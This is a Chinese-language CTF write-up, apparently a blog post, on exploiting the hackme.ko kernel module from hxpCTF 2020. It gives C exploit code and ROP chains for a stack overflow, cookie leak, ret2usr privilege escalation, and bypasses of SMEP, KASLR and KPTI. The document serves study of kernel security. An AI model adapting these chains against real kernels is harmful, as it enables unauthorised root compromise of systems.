hxpCTF 2020 做kernel利用讲解。主要易受攻击模块是 hackme.ko 。
分析内核模块:
- Hackme_init() 它注册一个名为hackme的设备驱动文件
- Hackme_read() 设备驱动的read操作
- Hackme_write() 设备驱动的write操作
- Hackme_open() 设备驱动的open操作
- Hackme_release() 设备驱动的release操作
使用IDA 分析hackme_read()、hackme_write()函数。
这里读写都有很明显的栈溢出,但是判断溢出的大小为0x1000.
为了学习各种保护绕过措施,使用这个题目来当例子。
这里栈溢出保护是编译时开启的保护,qemu模拟启动是无法关闭的,但是漏洞存在泄露。可以忽略不计。
在用户空间pwn时,一个简单的堆栈缓冲区溢出,且禁用了ASLR、NX保护,我们就可以将shellcode放在堆栈上某个位置,调试找出位置后,覆盖当前函数的返回地址,函数返回后执行shellcode得到一个shell。
在内核pwn时,因为受攻击的函数是一个内核函数,所以传入的shellcode也会在内核中执行,通过这种方式,已经实现了内核中任意代码执行能力。
打开设备
首先打开设备模块与它交互,linux中定义万物皆文件。
int global_fd;
void open_dev(){
global_fd = open("/dev/hackme", O_RDWR);
if (global_fd < 0){
puts("[!] Failed to open device");
exit(-1);
} else {
puts("[*] Opened device");
}
}
完成后,使用golba_fd来进行读取和写入。
堆泄露cookie
因为有栈溢出,所以很容易绕过。tmp堆栈本身的缓冲区长度为0x80字节,堆栈cookie紧随其后。因此,将数据读到array中,cookie将位于偏移16:
unsigned long cookie;
void leak(void){
unsigned n = 20;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[16];
printf("[*] Leaked %zd bytes\n", r);
printf("[*] Cookie: %lx\n", cookie);
}
覆盖返回地址
这里与泄漏点cookie相同,创建一个数组,然后将偏移16处应用泄漏到的cookie。这里要注意的是,与用户层程序不同,内核函数实际上从堆栈中弹出了3个寄存器,即 rbx、r12、rbp。因此,必须在cookie之后放置3个三个虚拟值。然后下一个值将是我们希望程序返回的地址也就是提权函数。
void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = (unsigned long)0x4141414141
puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
4.获取Root权限
通常,最常用的方法是使用commit_creats() prepare_kernel_cred()两个函数,这些函数已经驻留在内核空间代码段中。我们只需要像 commit_creds(prepare_kernel_cred(0)) 这样调用两个函数。因为kaslr禁用,所以函数所在地址在每次启动都是恒定的。因此可以通过以下命令读取文件来获取这些地址:
cat /proc/kallsyms |grep prepare_kernel_cred
ffffffff814c67f0 T prepare_kernel_cred
ffffffff81f8d4fc r __ksymtab_prepare_kernel_cred
ffffffff81fa09b2 r __kstrtab_prepare_kernel_cred
ffffffff81fa4d42 r __kstrtabns_prepare_kernel_cred
cat /proc/kallsyms |grep commit_creds
ffffffff814c6410 T commit_creds
ffffffff81f87d90 r __ksymtab_commit_creds
ffffffff81fa0972 r __kstrtab_commit_creds
ffffffff81fa4d42 r __kstrtabns_commit_creds
然后实现root权限代码可以编写如下:
void shellcode(void){
__asm__(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax; mov rdi, rax;"
"movabs rax, 0xffffffff814c6410;" //commit_creds
"call rax;"
...
".att_syntax;"
);
}
5.返回用户空间
在漏洞利用成功时,执行一段代码来返回shell,不会成功,原因是在执行成功利用代码后,我们任然运行在内核层,为了使用户层获得Root,我们必须要返回到用户层。
如果要是返回到用户层时内核继续正常运行一般使用 sysretq或iretq指令。大多数人使用的是iretq,因为sysretq成功返回要更复杂。iretq指令按以下顺序使用5个用户空间寄存器设置堆栈:RIP|CS|RFLAGS|SP|SS.
在进入内核前保存这几个寄存器的值,在内核获得root后还原这几个寄存器。
void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}
在x86_64 上iretq之前必须在调用一条指令 swapgs。此指令的目的是内核层和用户层交换GS寄存器。有了这些信息,就可以完成root shell。
unsigned long user_rip = (unsigned long)get_shell;
void escalate_privs(void){
__asm__(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax; mov rdi, rax;"
"movabs rax, 0xffffffff814c6410;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
正确顺序执行这个调用,即可获得一个root shell。
SMEP
smep全称Superisor Mode Execution Protection,是一种内核保护机制,作用是当CPU处于内核上下文时,执行用户空间的代码会出发页错误。
根据CR4寄存器的值判断是否开启smep保护,当CR4寄存器的第20位是1时,保护开启,为0时,保护关闭。
覆盖CR4
实际上,在内核中执行时,我们有权使用asm{mov cr4,rdi}指令修改cr4寄存器的内容。例如native_write_cr4()此类自调用的函数。该函数使其参数覆盖其cr4内容,并驻留在内核中。可以通过 /proc/kallsym来找到 native_write_cr4()函数地址:
cat /proc/kallsyms | grep native_write_cr4
-> ffffffff814443e0 T native_write_cr4
在内核中构建ROP链的方式与在用户空间中完全相同。因此,在这里,我们不会立即返回到我们的用户空间代码,而是跳到native_write_cr4(value),然后返回到我们的提权代码。对于CR4的当前值,我们可以通过内核错误来获取它,
我们将清除第20位,使它指向0x100000 清楚的值 0x6f0。代码如下
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long native_write_cr4 = 0xffffffff814443e0;
void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_ret; // return address
payload[off++] = 0x6f0;
payload[off++] = native_write_cr4; // native_write_cr4(0x6f0), effectively clear the 20th bit
payload[off++] = (unsigned long)escalate_privs;
puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
ROP链可以通过 $ ROPgadget --binary ./vmlinux > gadgets.txt 获得。
从理论上来说,执行完后应该返回一个Root shell,但是实际情况是,内核崩溃了,更疑惑的是,崩溃原因是SMEP
我们已经清除了第20位,结果仍然处于SMEP保护中。原因是在4.x 类版本次函数能成功修改CR4寄存器,但是在5.x类版本中native_write_cr4()存在修改判断逻辑,检测到修改会把CR4寄存器还原。所以这中方式失败。
堆栈转移
使用rop链来修改cr4,rop链本身不复杂,但在构建它时仍然存在一些问题。首先,在gadgets.txt文件中的链有很多无法使用,因此,需要各种试错。
unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; pop rbp ; ret
这3个rop链目标是弹出寄存器而不能跳转分支,所以必须在给8值。
...
payload[off++] = pop_rdx_ret;
payload[off++] = 0x8; // rdx <- 8
payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
...
其次,swapgs很好找,但是iretq需要用objdump来找。
objdump -j .text -d ~/vmlinux | grep iretq | head -1
-> ffffffff8100c0d9: 48 cf iretq
有了这几笑链,就可以构建完成的rop:
unsigned long user_rip = (unsigned long)get_shell;
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; pop rbp ; ret
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; // swapgs ; pop rbp ; ret
unsigned long iretq = 0xffffffff8100c0d9;
void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_ret; // return address
payload[off++] = 0x0; // rdi <- 0
payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[off++] = pop_rdx_ret;
payload[off++] = 0x8; // rdx <- 8
payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[off++] = swapgs_pop1_ret; // swapgs
payload[off++] = 0x0; // dummy rbp
payload[off++] = iretq; // iretq frame
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
有了这个链就可以成功利用,并返回一个Root shell,但是这个链已经超过了溢出返回地址的偏移大小,所以不能将整个链放入堆栈中。为了克服这个问题,将使用一种在用户空间pwn中也很流行的技术stack pivot。这是一种涉及修改指向受控可写地址的技术,有效地创建假堆栈。需要寻找将常量值值赋给栈顶寄存器的链,并且常亮对齐即可。
unsigned long mov_esp_pop2_ret = 0xffffffff8196f56a; // mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret
所以将返回地址覆盖成 esp 0x5b000000 链地址,在此之前先设置假的堆栈。我们映射一个固定页面,将rop链写入其中:
void build_fake_stack(void){
fake_stack = mmap((void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
unsigned off = 0x1000 / 8;
fake_stack[0] = 0xdead; // put something in the first page to prevent fault
fake_stack[off++] = 0x0; // dummy r12
fake_stack[off++] = 0x0; // dummy rbp
fake_stack[off++] = pop_rdi_ret;
... // the rest of the chain is the same as the last payload
}
上面代码中应该注意两件事:
- 只是映射了0x5b000000 - 0x1000页面,而不是 0x5b000000 ,这是因为要调用prepare_kernel_cred()和commit_creds()函数,内部会调用其他函数,会有堆栈增长。如果指向esp页面开头,则堆栈没有足够的空间增长,并且会崩溃。
- 必须在第一个页中写入一个虚拟值,否则它将创建一个Double Fault。原因是,页面仅在被访问后插入到页表中,而不是在被映射后插入。映射了0x2000等于2页,将ROP链完全放在第二个页,覆盖返回地址跳转到第一页。
执行利用,将堆栈溢出到返回地址,覆盖成虚假堆栈地址执行rop链,返回得到root shell。
kaslr
kaslr全称kernel Address Space Layout Randomization,指内核代码在内存中地址随机化保护。每次系统启动时,内核代码在内存中的位置都是随机的,不再使用固定基地址加载,从而干扰shellcode定位。当不开启kaslr的时候,默认的内核虚拟基地址是:0xffffffff81000000。
这随机化是不完美的,内核中的某些区域永远不会随机化。
- 从 _text 到 __x86_retpoline_r15和_text+0x400dc6不受影响。但是commit_creds()prepare_kernel_cred()受影响。
- KPTI 的利用函数不受影响。
- 内核符合表ksymtab到 _text+0xf85198 不受影响。此表包含可用于计算commit_creds()和prepare_kernel_cred()函数地址的偏移量。
以下是3个小链
unsigned long pop_rax_ret = image_base + 0x4d11UL; // pop rax; ret
unsigned long read_mem_pop1_ret = image_base + 0x4aaeUL; // mov eax, qword ptr [rax + 0x10]; pop rbp; ret;
unsigned long pop_rdi_rbp_ret = image_base + 0x38a0UL; // pop rdi; pop rbp; ret;
前2个可以用于读取任意内存块,只需要将rax保存的地址减0x10即可。
ksymtab结构体
struct kernel_symbol {
int value_offset;
int name_offset;
int namespace_offset;
};
可以通过gdb调试来验证这个变量结构
要泄露镜像基地址,由于我们可以从内核堆栈泄露大量数据,因此可以附加调试器并检查堆栈以查找属于未受影响区域的任何内核地址。实际上在偏移量38出有一个。
void leak(void){
unsigned n = 40;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[16];
image_base = leak[38] - 0xa157ULL;
kpti_trampoline = image_base + 0x200f10UL + 22UL;
pop_rax_ret = image_base + 0x4d11UL;
read_mem_pop1_ret = image_base + 0x4aaeUL;
pop_rdi_rbp_ret = image_base + 0x38a0UL;
ksymtab_prepare_kernel_cred = image_base + 0xf8d4fcUL;
ksymtab_commit_creds = image_base + 0xf87d90UL;
printf("[*] Leaked %zd bytes\n", r);
printf(" --> Cookie: %lx\n", cookie);
printf(" --> Image base: %lx\n", image_base);
}
泄露 commit_creds()
使用两个内存读取链,来泄漏点。
unsigned long pop_rax_ret = image_base + 0x4d11UL; // pop rax; ret
unsigned long read_mem_pop1_ret = image_base + 0x4aaeUL; // mov eax, qword ptr [rax + 0x10]; pop rbp; ret;
void stage_1(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rax_ret; // return address
payload[off++] = ksymtab_commit_creds - 0x10; // rax <- __ksymtabs_commit_creds - 0x10
payload[off++] = read_mem_pop1_ret; // rax <- [__ksymtabs_commit_creds]
payload[off++] = 0x0; // dummy rbp
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)get_commit_creds;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
puts("[*] Prepared payload to leak commit_creds()");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
泄露 prepare_kernel_cred()
void stage_2(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rax_ret; // return address
payload[off++] = ksymtab_prepare_kernel_cred - 0x10; // rax <- __ksymtabs_prepare_kernel_cred - 0x10
payload[off++] = read_mem_pop1_ret; // rax <- [__ksymtabs_prepare_kernel_cred]
payload[off++] = 0x0; // dummy rbp
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)get_prepare_kernel_cred;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
puts("[*] Prepared payload to leak prepare_kernel_cred()");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
void get_prepare_kernel_cred(void){
__asm__(
".intel_syntax noprefix;"
"mov tmp_store, rax;"
".att_syntax;"
);
prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)tmp_store;
printf(" --> prepare_kernel_cred: %lx\n", prepare_kernel_cred);
stage_3();
}
调用 prepare_kernel_cred()
void stage_3(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_rbp_ret; // return address
payload[off++] = 0; // rdi <- 0
payload[off++] = 0; // dummy rbp
payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)after_prepare_kernel_cred;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
puts("[*] Prepared payload to call prepare_kernel_cred(0)");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
void after_prepare_kernel_cred(void){
__asm__(
".intel_syntax noprefix;"
"mov tmp_store, rax;"
".att_syntax;"
);
returned_creds_struct = tmp_store;
printf(" --> returned_creds_struct: %lx\n", returned_creds_struct);
stage_4();
}
调用 commit_creds()并获取root shell
void stage_4(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_rbp_ret; // return address
payload[off++] = returned_creds_struct; // rdi <- returned_creds_struct
payload[off++] = 0; // dummy rbp
payload[off++] = commit_creds; // commit_creds(returned_creds_struct)
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)get_shell;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
puts("[*] Prepared payload to call commit_creds(returned_creds_struct)");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
KPTI
Kpti 全称 Kernel page-table isolation,是内核中的一种强化技术,刚好的隔离用户空间与内核空间的内存来提高安全性。KPTI通过完全分离用户空间与内核空间页表来解决页表泄露。支持进程上下文标识(PCID)特性的x86处理器可以用来避免TLB刷新。
使用旁路方法:
- 使用信号方法:这个方法可以很简单的绕过这个保护,因为我们信号回调的是在用户空间,我们可以添加一个信号处理方法,只需要signal(SIGSEGV, get_shell);即可调用。
- 使用KPTI trampoline方法:如果系统调用正常返回,内核中必须有一段代码将页表交换回用户空间表,因此尝试重用该代码以达到提权目的。这段代码称为KPTI trampoline,它的作用是交换页,swapgs和iretq。使用
swapgs_restore_regs_and_return_to_usermode函数来进行。找到函数地址:
cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
-> ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode
在IDA中的反汇编:
.text:FFFFFFFF81200F10 pop r15
.text:FFFFFFFF81200F12 pop r14
.text:FFFFFFFF81200F14 pop r13
.text:FFFFFFFF81200F16 pop r12
.text:FFFFFFFF81200F18 pop rbp
.text:FFFFFFFF81200F19 pop rbx
.text:FFFFFFFF81200F1A pop r11
.text:FFFFFFFF81200F1C pop r10
.text:FFFFFFFF81200F1E pop r9
.text:FFFFFFFF81200F20 pop r8
.text:FFFFFFFF81200F22 pop rax
.text:FFFFFFFF81200F23 pop rcx
.text:FFFFFFFF81200F24 pop rdx
.text:FFFFFFFF81200F25 pop rsi
.text:FFFFFFFF81200F26 mov rdi, rsp
.text:FFFFFFFF81200F29 mov rsp, qword ptr gs:unk_6004
.text:FFFFFFFF81200F32 push qword ptr [rdi+30h]
.text:FFFFFFFF81200F35 push qword ptr [rdi+28h]
.text:FFFFFFFF81200F38 push qword ptr [rdi+20h]
.text:FFFFFFFF81200F3B push qword ptr [rdi+18h]
.text:FFFFFFFF81200F3E push qword ptr [rdi+10h]
.text:FFFFFFFF81200F41 push qword ptr [rdi]
.text:FFFFFFFF81200F43 push rax
.text:FFFFFFFF81200F44 jmp short loc_FFFFFFFF81200F89
...
它通过堆栈中弹出大量寄存器来恢复。但是对我们有用的是它叫唤页表的部分,而且它这段链太大会增加rop链,所以错误偏移来选择一个链。
.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89:
.text:FFFFFFFF81200F89 pop rax
.text:FFFFFFFF81200F8A pop rdi
.text:FFFFFFFF81200F8B call cs:off_FFFFFFFF82040088
.text:FFFFFFFF81200F91 jmp cs:off_FFFFFFFF82040080
...
.text.native_swapgs:FFFFFFFF8146D4E0 push rbp
.text.native_swapgs:FFFFFFFF8146D4E1 mov rbp, rsp
.text.native_swapgs:FFFFFFFF8146D4E4 swapgs
.text.native_swapgs:FFFFFFFF8146D4E7 pop rbp
.text.native_swapgs:FFFFFFFF8146D4E8 retn
...
.text:FFFFFFFF8120102E mov rdi, cr3
.text:FFFFFFFF81201031 jmp short loc_FFFFFFFF81201067
...
.text:FFFFFFFF81201067 or rdi, 1000h
.text:FFFFFFFF8120106E mov cr3, rdi
...
.text:FFFFFFFF81200FC7 iretq
这里还存在两个额外的值,需要在赋值两个虚拟值。
void overflow(void){
// ...
payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
// ...
}
关注微信公众号或者可以直接加作者微信:
标签:off,++,hxpctf2020,unsigned,pop,漏洞,复现,payload,ret From: https://www.cnblogs.com/haidragon/p/16948735.html